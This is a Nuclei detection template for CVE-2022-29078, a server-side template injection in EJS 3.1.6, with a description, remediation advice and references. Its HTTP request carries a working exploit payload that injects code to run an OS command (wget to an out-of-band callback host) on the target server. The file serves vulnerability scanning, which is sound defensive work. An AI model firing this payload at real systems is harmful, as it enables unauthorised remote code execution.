nuclei-templates/http/cves/2022/CVE-2022-29078.yaml

49 lines
1.9 KiB
YAML

id: CVE-2022-29078
info:
name: Node.js Embedded JavaScript 3.1.6 - Template Injection
author: For3stCo1d
severity: critical
description: |
Node.js Embedded JavaScript 3.1.6 is susceptible to server-side template injection via settings[view options][outputFunctionName], which is parsed as an internal option and overwrites the outputFunctionName option with an arbitrary OS command, which is then executed upon template compilation.
remediation: |
Upgrade to a patched version of Node.js Embedded JavaScript (3.1.7 or higher) to mitigate the vulnerability.
reference:
- https://eslam.io/posts/ejs-server-side-template-injection-rce/
- https://github.com/miko550/CVE-2022-29078
- https://github.com/mde/ejs/commit/15ee698583c98dadc456639d6245580d17a24baf
- https://nvd.nist.gov/vuln/detail/CVE-2022-29078
- https://github.com/mde/ejs/releases
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2022-29078
cwe-id: CWE-94
epss-score: 0.11863
epss-percentile: 0.94704
cpe: cpe:2.3:a:ejs:ejs:3.1.6:*:*:*:*:node.js:*:*
metadata:
max-request: 1
vendor: ejs
product: ejs
framework: node.js
tags: cve,cve2022,ssti,rce,ejs,nodejs,oast,intrusive
http:
- raw:
- |
GET /page?id={{randstr}}&settings[view%20options][outputFunctionName]=x;process.mainModule.require(%27child_process%27).execSync(%27wget+http://{{interactsh-url}}%27);s HTTP/1.1
Host: {{Hostname}}
matchers-condition: and
matchers:
- type: word
part: interactsh_protocol # Confirms the HTTP Interaction
words:
- http
- type: word
part: body
words:
- You are viewing page number
# digest: 4a0a00473045022100c8db4835576d76a979d3adef21244c8ee22b9d1b3b5ca2f5c9da1129df7686c802207b55a7b4aa7a5a1edf812a65c5edf42d666cf6086ad47eca03e84f334dc4e838:922c64590222798bb761d5b6d8e72950